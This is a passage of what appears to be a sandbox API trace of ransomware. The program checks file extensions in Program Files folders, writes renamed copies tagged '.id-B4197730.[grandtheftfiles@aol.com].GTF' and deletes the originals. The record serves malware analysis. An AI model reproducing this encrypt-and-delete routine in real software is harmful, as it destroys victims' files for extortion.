	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString=".1cd") returned 4
	[0154.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString=".jpg") returned 4
	[0154.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.441] lstrlenW (lpString=".doc") returned 4
	[0154.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".docx") returned 5
	[0154.441] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0154.441] lstrlenW (lpString=".pdf") returned 4
	[0154.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0154.441] lstrlenW (lpString=".xls") returned 4
	[0154.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0154.442] lstrlenW (lpString=".xlsx") returned 5
	[0154.442] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0154.442] lstrlenW (lpString=".ppt") returned 4
	[0154.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0154.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.442] lstrlenW (lpString=".zip") returned 4
	[0154.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0154.442] lstrlenW (lpString=".rar") returned 4
	[0154.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0154.442] lstrlenW (lpString=".bz2") returned 4
	[0154.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0154.442] lstrlenW (lpString=".7z") returned 3
	[0154.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0154.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.442] lstrlenW (lpString=".dbf") returned 4
	[0154.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0154.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.442] lstrlenW (lpString=".1cd") returned 4
	[0154.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0154.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0154.442] lstrlenW (lpString=".jpg") returned 4
	[0154.442] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0154.442] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0154.442] lstrlenW (lpString="msado26.tlb") returned 11
	[0154.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0154.443] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=70656) returned 1
	[0154.443] CloseHandle (hObject=0x3e4) returned 1
	[0154.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20
	[0154.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.443] lstrlenW (lpString=".doc") returned 4
	[0154.443] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0154.443] lstrlenW (lpString=".docx") returned 5
	[0154.443] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0154.443] lstrlenW (lpString=".pdf") returned 4
	[0154.443] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0154.443] lstrlenW (lpString=".xls") returned 4
	[0154.443] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0154.443] lstrlenW (lpString=".xlsx") returned 5
	[0154.443] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0154.443] lstrlenW (lpString=".ppt") returned 4
	[0154.443] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0154.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.443] lstrlenW (lpString=".zip") returned 4
	[0154.443] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0154.444] lstrlenW (lpString=".rar") returned 4
	[0154.444] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".bz2") returned 4
	[0154.444] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".7z") returned 3
	[0154.444] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString=".dbf") returned 4
	[0154.444] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString=".1cd") returned 4
	[0154.444] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString=".jpg") returned 4
	[0154.444] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString=".doc") returned 4
	[0154.444] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".docx") returned 5
	[0154.444] lstrcmpiW (lpString1=".docx", lpString2="6.tlb") returned -1
	[0154.444] lstrlenW (lpString=".pdf") returned 4
	[0154.444] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".xls") returned 4
	[0154.444] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0154.444] lstrlenW (lpString=".xlsx") returned 5
	[0154.444] lstrcmpiW (lpString1=".xlsx", lpString2="6.tlb") returned -1
	[0154.444] lstrlenW (lpString=".ppt") returned 4
	[0154.444] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.444] lstrlenW (lpString=".zip") returned 4
	[0154.444] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0154.444] lstrlenW (lpString=".rar") returned 4
	[0154.444] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".bz2") returned 4
	[0154.444] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0154.444] lstrlenW (lpString=".7z") returned 3
	[0154.445] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0154.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.445] lstrlenW (lpString=".dbf") returned 4
	[0154.445] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0154.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.445] lstrlenW (lpString=".1cd") returned 4
	[0154.445] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0154.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned 52
	[0154.445] lstrlenW (lpString=".jpg") returned 4
	[0154.445] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0154.445] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0154.445] lstrlenW (lpString="msado27.tlb") returned 11
	[0154.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0154.447] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=71168) returned 1
	[0154.447] CloseHandle (hObject=0x3e4) returned 1
	[0154.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20
	[0154.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.447] lstrlenW (lpString=".doc") returned 4
	[0154.447] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0154.447] lstrlenW (lpString=".docx") returned 5
	[0154.447] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0154.447] lstrlenW (lpString=".pdf") returned 4
	[0154.447] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0154.447] lstrlenW (lpString=".xls") returned 4
	[0154.447] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0154.448] lstrlenW (lpString=".xlsx") returned 5
	[0154.448] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0154.448] lstrlenW (lpString=".ppt") returned 4
	[0154.448] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString=".zip") returned 4
	[0154.448] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0154.448] lstrlenW (lpString=".rar") returned 4
	[0154.448] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString=".bz2") returned 4
	[0154.448] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString=".7z") returned 3
	[0154.448] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString=".dbf") returned 4
	[0154.448] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString=".1cd") returned 4
	[0154.448] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString=".jpg") returned 4
	[0154.448] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.448] lstrlenW (lpString=".doc") returned 4
	[0154.448] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString=".docx") returned 5
	[0154.448] lstrcmpiW (lpString1=".docx", lpString2="7.tlb") returned -1
	[0154.448] lstrlenW (lpString=".pdf") returned 4
	[0154.448] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString=".xls") returned 4
	[0154.448] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0154.448] lstrlenW (lpString=".xlsx") returned 5
	[0154.448] lstrcmpiW (lpString1=".xlsx", lpString2="7.tlb") returned -1
	[0154.448] lstrlenW (lpString=".ppt") returned 4
	[0154.448] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0154.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.449] lstrlenW (lpString=".zip") returned 4
	[0154.449] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0154.449] lstrlenW (lpString=".rar") returned 4
	[0154.449] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0154.449] lstrlenW (lpString=".bz2") returned 4
	[0154.449] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0154.449] lstrlenW (lpString=".7z") returned 3
	[0154.449] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0154.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.449] lstrlenW (lpString=".dbf") returned 4
	[0154.449] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0154.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.449] lstrlenW (lpString=".1cd") returned 4
	[0154.449] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0154.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned 52
	[0154.449] lstrlenW (lpString=".jpg") returned 4
	[0154.449] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0154.449] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0154.449] lstrlenW (lpString="msadomd.dll") returned 11
	[0154.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0154.451] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=364032) returned 1
	[0154.451] CloseHandle (hObject=0x3e4) returned 1
	[0154.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20
	[0154.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0154.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0154.452] lstrlenW (lpString=".doc") returned 4
	[0154.452] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString=".docx") returned 5
	[0154.452] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0154.452] lstrlenW (lpString=".pdf") returned 4
	[0154.452] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString=".xls") returned 4
	[0154.452] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString=".xlsx") returned 5
	[0154.452] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0154.452] lstrlenW (lpString=".ppt") returned 4
	[0154.452] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0154.452] lstrlenW (lpString=".zip") returned 4
	[0154.452] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString=".rar") returned 4
	[0154.452] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0154.452] lstrlenW (lpString=".bz2") returned 4
	[0154.452] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0154.452] lstrlenW (lpString=".7z") returned 3
	[0154.452] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0154.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned 52
	[0154.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0155.196] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.196] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.198] GetLastError () returned 0x0
	[0155.198] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x27a, lpOverlapped=0x0) returned 1
	[0155.205] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x280, lpOverlapped=0x0) returned 1
	[0155.206] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.206] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0155.206] SetEndOfFile (hFile=0x48c) returned 1
	[0155.206] CloseHandle (hObject=0x48c) returned 1
	[0155.206] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.207] SetEndOfFile (hFile=0x488) returned 1
	[0155.210] CloseHandle (hObject=0x488) returned 1
	[0155.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.210] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1
	[0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.211] lstrlenW (lpString=".doc") returned 4
	[0155.211] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString=".docx") returned 5
	[0155.211] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0155.211] lstrlenW (lpString=".pdf") returned 4
	[0155.211] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString=".xls") returned 4
	[0155.211] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString=".xlsx") returned 5
	[0155.211] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0155.211] lstrlenW (lpString=".ppt") returned 4
	[0155.211] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.211] lstrlenW (lpString=".zip") returned 4
	[0155.211] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString=".rar") returned 4
	[0155.211] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0155.211] lstrlenW (lpString=".bz2") returned 4
	[0155.211] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0155.212] lstrlenW (lpString=".7z") returned 3
	[0155.212] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".dbf") returned 4
	[0155.212] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".1cd") returned 4
	[0155.212] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".jpg") returned 4
	[0155.212] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".doc") returned 4
	[0155.212] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString=".docx") returned 5
	[0155.212] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0155.212] lstrlenW (lpString=".pdf") returned 4
	[0155.212] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString=".xls") returned 4
	[0155.212] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString=".xlsx") returned 5
	[0155.212] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0155.212] lstrlenW (lpString=".ppt") returned 4
	[0155.212] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".zip") returned 4
	[0155.212] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString=".rar") returned 4
	[0155.212] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0155.212] lstrlenW (lpString=".bz2") returned 4
	[0155.212] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0155.212] lstrlenW (lpString=".7z") returned 3
	[0155.212] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0155.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.212] lstrlenW (lpString=".dbf") returned 4
	[0155.212] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0155.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.213] lstrlenW (lpString=".1cd") returned 4
	[0155.213] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0155.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0155.213] lstrlenW (lpString=".jpg") returned 4
	[0155.213] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0155.213] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0155.213] lstrlenW (lpString="calendars.properties") returned 20
	[0155.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.213] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1378) returned 1
	[0155.213] CloseHandle (hObject=0x488) returned 1
	[0155.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20
	[0155.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.214] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.214] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
